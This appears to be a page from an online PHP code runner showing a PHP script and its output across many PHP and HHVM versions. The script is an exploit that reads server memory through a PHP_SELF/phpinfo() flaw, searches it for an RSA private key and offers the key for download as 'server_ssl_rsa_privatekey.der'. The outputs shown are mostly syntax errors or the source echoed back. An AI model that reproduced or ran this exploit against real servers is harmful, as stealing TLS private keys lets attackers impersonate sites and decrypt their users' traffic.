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run code in 150+ php & hhvm versions
Bugs & Features
<?phpset_time_limit(0);$starthi = 0xb788;if (isset($_GET['start'])) { $starthi = $_GET['start'] + 0;}$i = 0; $z = 0; $olddata = ""; $keydata = "";$PHP_SELF = ($starthi << 16) | $i;while (true) { $data = ""; while (strlen($data) < 4096) { ob_start(); @phpinfo(INFO_VARIABLES); $var = ob_get_contents(); ob_get_clean(); $r = preg_match("|PHP_SELF.</td><td class=\"v\">(.*).</td></tr>|mUs",$var,$match); $var = $match[1]; if ($var == "<i>no value</i>") $var = chr(0); else $var .= chr(0); $var = html_entity_decode($var,ENT_QUOTES,"ISO-8859-1"); $data .= $var; $i += strlen($var); if ($i > 0xffff) $z++; $i = $i & 0xffff; $PHP_SELF = ($starthi + $z)<<16 | $i; } $check = $olddata . $data; $olddata = $data; $data = $check; $position = strpos($data, "\x30\x82"); if ($position !== false && $position < strlen($data)-1024) { if (substr($data, $position+4, 4) == "\x02\x01\x00\x02") { $length = ord($data[$position+2])*256+ord($data[$position+3])+4; $keydata = substr($data, $position, $length); if (strpos($keydata, "\x01\x00\x01") > 0) break; } }}if (strlen($keydata) == 0) { header("Content-type: text/plain"); die ("Unexpected error!!!");}header("Content-type: application/octet-stream");header("Content-Disposition: attachment; filename=\"server_ssl_rsa_privatekey.der\"");echo $keydata;
Output for 7.0.0 - 7.1.0
Fatal error: Uncaught Error: Call to undefined function phpset_time_limit() in /in/O5YjK:1 Stack trace: #0 {main} thrown in /in/O5YjK on line 1
Process exited with code 255.
Output for hhvm-3.12.0
Fatal error: <?php directive must be followed by whitespace, newline, or EOF (Line: 1, Char: 5) syntax error, unexpected T_HH_ERROR, expecting $end in /in/O5YjK on line 1
Process exited with code 255.
Output for hhvm-3.10.0

Process exited with code 153.
Output for 5.4.34 - 5.6.28
Fatal error: Call to undefined function phpset_time_limit() in /in/O5YjK on line 1
Process exited with code 255.
Output for 4.3.0 - 5.4.32
<?phpset_time_limit(0);$starthi = 0xb788;if (isset($_GET['start'])) { $starthi = $_GET['start'] + 0;}$i = 0; $z = 0; $olddata = ""; $keydata = "";$PHP_SELF = ($starthi << 16) | $i;while (true) { $data = ""; while (strlen($data) < 4096) { ob_start(); @phpinfo(INFO_VARIABLES); $var = ob_get_contents(); ob_get_clean(); $r = preg_match("|PHP_SELF.</td><td class=\"v\">(.*).</td></tr>|mUs",$var,$match); $var = $match[1]; if ($var == "<i>no value</i>") $var = chr(0); else $var .= chr(0); $var = html_entity_decode($var,ENT_QUOTES,"ISO-8859-1"); $data .= $var; $i += strlen($var); if ($i > 0xffff) $z++; $i = $i & 0xffff; $PHP_SELF = ($starthi + $z)<<16 | $i; } $check = $olddata . $data; $olddata = $data; $data = $check; $position = strpos($data, "\x30\x82"); if ($position !== false && $position < strlen($data)-1024) { if (substr($data, $position+4, 4) == "\x02\x01\x00\x02") { $length = ord($data[$position+2])*256+ord($data[$position+3])+4; $keydata = substr($data, $position, $length); if (strpos($keydata, "\x01\x00\x01") > 0) break; } }}if (strlen($keydata) == 0) { header("Content-type: text/plain"); die ("Unexpected error!!!");}header("Content-type: application/octet-stream");header("Content-Disposition: attachment; filename=\"server_ssl_rsa_privatekey.der\"");echo $keydata;